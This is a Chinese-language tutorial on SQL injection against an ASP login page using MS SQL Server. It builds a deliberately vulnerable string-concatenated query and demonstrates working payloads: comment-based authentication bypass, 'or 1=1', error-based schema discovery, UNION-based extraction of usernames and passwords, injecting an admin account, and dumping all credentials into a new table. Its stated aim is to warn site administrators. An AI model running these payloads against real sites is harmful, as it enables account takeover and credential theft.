** 前言 **
计算机系统的安全一直是你我所重视的,但或许你一直在替系统安装修正文件,防毒软件,架设防火墙,划定非军事区等等,但可能由于撰写程序代码的疏忽,你的背后正有一个自己营造的大漏洞。
** SQL Injection – 骇客的 SQL 填空游戏 **
在现今的应用程序架构中,大部分都含有数据库,以容纳各式各样的资料。而在各类型的数据库中,又以结构化查询语言 (SQL Structure Query Language) 为基础的关系型数据库管理系统 (RDBMS Relational Database Management System) 最为流行。
一般的程序设计师在存取数据库时,往往是利用 Visual Basic 等第三代语言来组织 SQL 语言,然后再传递给关系型数据库系统执行,以建立或删除数据结构,赋予或移除使用权限,乃至于新增、修改、删除或查询资料。因为关系型数据库所有的执行动作皆是遵循 SQL 命令,所以透过此种方式可以很方便地完成各种资料维护工作。但也正因为 SQL 语言无所不能,所以稍有漏洞就会让骇客有机可乘。这两期文章就针对这个主题做一个深入的探讨。
网站的资料存取一般来说是比较危险的,因为网际网络是一个开放的环境,而不像一般公司内部网络,除了有计算机本身的安全设计,还可以过滤筛检员工的身分背景。网际网络上龙蛇杂处,大部分的使用者都循规导矩,但少数图谋不轨的人却处心积虑地要侵入我们的系统,窃取有价值的资料。但一般的网管人员及网页设计师,可能在安全设定上有着重重防范,如架设防火墙,设计非军事区 (DMZ) ,限制网站登入者的身分等等。但由于缺乏对 SQL 语言及数据库管理系统的认知,而大开系统的后门。
本文针对微软的 ASP 网站架构搭配 MS SQL Server 做一个探讨及示范,希望能提供各网站的管理人员对 SQL Injection 的入侵方式有个基本的认识,就笔者在撰写本文时,利用搜寻网站随意找几个有会员机制的网站来测试,其中多数都有被此类方式侵入的危险,大家不可不慎。
笔者在此先建立一个一般会员网站登入网页的范例,以及相关资料表的架构如下:
资料表的 Schema 如 程序代码列表 ** 1 ** 。
CREATE TABLE [tblUser] (
[UserID] [int] IDENTITY (1, 1) NOT NULL ,
[UserName] [nvarchar] (50) NOT NULL ,
[Password] [nvarchar] (50) NOT NULL ,
[Pri] [tinyint] NULL CONSTRAINT [DF_tblUser_Pri] DEFAULT (0),
CONSTRAINT [PK_tblUser] PRIMARY KEY CLUSTERED
([UserID])
)
** 程序代码列表 ** ** 1 ** ** :存放会员资料的资料表 ** ** Schema ** ** 。 **
并在资料表加入两笔资料内容
INSERT tblUser(UserName,Password,Pri) VALUES('Admin','AdminPass',10)
INSERT tblUser(UserName,Password,Pri) VALUES('Byron','ByronPass',10)
登入网页的撰写方式如 程序代码列表 ** 2 ** 。
1
2If Request("UserName")<>"" And Request("Pass")<>"" Then
3Dim cnn,rec,strSQL
4Set cnn=Server.CreateObject("ADODB.Connection")
5With cnn
6.ConnectionString=Application("Conn")
7.Open
8
9' 利用使用者输入的资料来组合 SQL 语法
10strSQL="SELECT * FROM tblUser WHERE UserName='" & _
11Request("UserName") & "' AND Password='" & Request("Pass") & "'"
12' 直接交给 SQL Server 执行,这是最危险的地方
13Set rec=.Execute(strSQL)
14End With
15If NOT rec.EOF Then
16Session("UserName")=Request("UserName")
17Response.Write " 欢迎光临 " & Request("UserName")
18Else
19Response.Write " 您的帐号 / 密码输入错误 "
20End If
21
22Else
1<form action="login.asp">
2使用者名称: <input name="UserName"/><p>
3密码: <input name="Pass"/>
4<p>
5<input type="submit" value=" 确定 "/>
6</p></p></form>
1
2End If
** 程序代码列表 ** ** 2 ** ** :简单的 ** ** ASP ** ** 登入网页。 **
在 程序代码列表 ** 2 ** 中的 ASP 网页利用 VBScript 来组合查询使用者帐号、密码的 SQL 查询语法,逻辑相当简单,若资料表中存有符合的帐号、密码记录,则回传的 Recordset 的 EOF 属性是 False ,该使用者就算正确登入。
针对此种网页,我们以下就开始利用 SQL Injection 的技巧来”骇”这个网站吧!
** 剪接语法 **
** 利用任何已知的使用者名称登入 ** 1 :例如在网咖偷偷地观察某个使用者用什么样的帐号登入到哪个网站等等,或着先试试一般管理人员可能建立的使用者名称,如: admin 、 administrator 、 supervisor 、 sa 等等。
在需要输入使用者名称的地方键入以下的内容 2 :
Admin’--
而密码字段随便乱输入,对于会被执行的整句 SQL 没有什么关系。示意图如 图 ** 1 ** 。
** 图 ** ** 1 ** :利用已知的会员名称登入,让程序代码跳过密码检查。
你可以试着将输入使用者名称的内容与 程序代码列表 ** 2 ** 的 SQL 语法做个整理,将会发现实际传给 SQL Server 的语法如下
SELECT * FROM tblUser WHERE UserName='admin'--' AND Password='asdf'
关键就是 原先的 ** AND ** ** 子句被 ** ** ** ** “ ** ** --" ** ** 标示成说明 ** ,也就是 SQL Server 仅仅执行
SELECT * FROM tblUser WHERE UserName='admin'
自然,若有该使用者存在,则这个 SQL 查询语法就传回该记录的所有字段内容。再按照 程序代码列表 ** 2 ** 的判断方式:传回的 Recordset 是否有记录,若有就算登入验证成功。则骇客就可以轻易地以该使用者的身分进入了。
** 用未知的使用者名称登入 ** :若没有已知的帐号,也可以用以下的方式输入到使用者名称字段,便能大大方方地侵入:
‘ or 1=1--
SQL Server 所接收的整个语法变成:
SELECT * FROM tblUser WHERE UserName='' or 1=1--' AND Password='asdf'
因为加上的 ** or 1=1 ** ,则不管之前的条件为合,只要某个条件为真,整个判断式就都为真,因此回传的 Recordset 对象包含了全部的会员记录。也导致 程序代码列表 ** 2 ** 中的 Recordset 对象 EOF 属性为 False 。
** 利用错误讯息 **
** 获取字段数量与名称
**
微软为了方便 ASP 的程序开发者可以顺利地除错,因此每当 Script 执行错误时,都会透过预设的 < 系统所在磁盘 >\WINNT\Help\iisHelp\common\500-100.asp 网页将发生错误的原因回传到前端,对于开发者来说,这是一个非常方便的错误呈现方式。但骇客也可以利用这个错误讯息取得原始 ASP 中的查询语法,并从中了解数据库中资料表的架构。例如在使用者名称字段输入:
' HAVING 1=1--
则系统会传回如 图 ** 2 ** 的错误讯息。
** 图 ** ** 2 ** :故意制造错误,从错误讯息中找寻蛛丝马迹。
由 图 ** 2 ** 可以知道存放使用者的资料表名称是 tblUser ,且查询中有一个字段叫 UserID 。因此我们再次输入:
'GROUP BY UserID HAVING 1=1--
这回错误讯息如 图 ** 3 ** 。
** 图 ** ** 3 ** :利用错误讯息来了解资料表大致结构。
再次在 图 ** 3 ** 的错误讯息中可知查询的字段还有 UserName ,因此继续以下列方式来查询 3 。
'GROUP BY UserID,UserName HAVING 1=1--
利用上述方式取到完整查询语法后,也就是输入以下的语法,但不再造成执行时期错误:
'GROUP BY UserID,UserName,Password,Pri HAVING 1=1--
因为整个传递到 SQL Server 的语法变成:
SELECT * FROM tblUser WHERE UserName=''GROUP BY UserID,UserName,Password,Pri HAVING 1=1--' AND Password='asdf'
如此列出所有字段的 Group By 方式几近等于没有 Group By ,但 语法完全正确表示所有的字段都已经包含在其中了 。骇客就此可以约略估计资料表的字段结构。
在输入帐号的地方执行以下语法便可以加入自订的使用者到资料表中。
';INSERT INTO tblUser Values('hacker','hacker',10)--
** 获取字段资料型态 **
若有数据域位格式不对,导致无法加入自订使用者,也可以利用下列语法传回的错误讯息来判读数据域位格式:
'UNION SELECT 'abc',1,1,1 FROM tblUser --
结果传回如 图 ** 4 ** 的错误讯息。
** 图 ** ** 4 ** :利用错误讯息来判断字段的资料型态。
在这里我们透过 UNION 语法来组合两句 SELECT 查询,第一句 SELECT 语法的第一个字段 UserID 是 int 格式,但对应的第二句 SELECT 语法;第一个字段的资料是 varchar 格式的 ‘ abc ’,因此出现如 图 ** 4 ** 的错误讯息。骇客也由此得知资料表第一个字段的资料型态是 int 。有耐心地把一个个字段测试完毕后,便可以得到整个资料表的字段格式。
** 获取会员的帐号密码 **
利用这个技巧,还可以再进一步获取使用者的帐号和密码,例如先以下列语法询问帐号:
'UNION SELECT UserName,1,1,1 FROM tblUser WHERE UserName>'a'--
IIS 回传错误讯息如 图 ** 5 ** 。
** 图 ** ** 5 ** :利用错误讯息来取得使用者帐号和密码。
因为传回的记录” Admin ”是 nvarchar 格式,而透过 union 对应到原先 int 数据域位,因此有 图 ** 5 ** 的错误讯息。由以上的错误可以得知有一个称为” Admin ”的帐号存在,之后再以下列语法获得该帐号的密码。
'UNION SELECT Password,1,1,1 FROM tblUser WHERE UserName='admin'--
错误讯息如 图 ** 6 ** 。
** 图 ** ** 6 ** :利用错误讯息取得帐号 admin 的密码。
之后再继续以下列语法来获得其它人的帐号密码。
'UNION SELECT UserName,1,1,1 FROM tblUser WHERE UserName>'admin'--
错误讯息如 图 ** 7 ** 。
** 图 ** ** 7 ** :依序透过相同的机制取得其它人的帐号密码。
依次替换掉 ** WHERE UserName ** > 的条件内容,就可以取得资料表中所有的帐号和密码组合。
骇客甚至可以透过以下的语法将整个使用者帐号密码串成字符串:在输入使用者帐号的字段填入如 程序代码列表 ** 3 ** 的 SQL 语句。
';DECLARE @str VARCHAR(8000) SET @str='@' SELECT @str=@str+' '+UserName+'/'+Password FROM tblUser WHERE UserName>@str SELECT @str AS IDPass INTO tblHacker--
** 程序代码列表 ** ** 3 ** :将所有的使用者数据组成字符串,放入自订的数据表中。
在 程序代码列表 ** 3 ** 中,先宣告一个长度为 8000 的字符串变量 @str ,再将整个 tblUser 资料表的内容组成一个字符串放到变量 @str 之内,最后再利用 SELECT … INTO … 语法把 @str 变量的内容放到自建的资料表 tblHacker 之中。
然后再利用前述故意营造错误的技巧换回资料内容。
' UNION SELECT IDPass,1,1,1 FROM tblHacker--
结果如 图 ** 8 ** 。
** <SPAN style="FONT-SIZE: 9pt; mso-ascii-font-family: Verdana; mso-hansi-font-famil **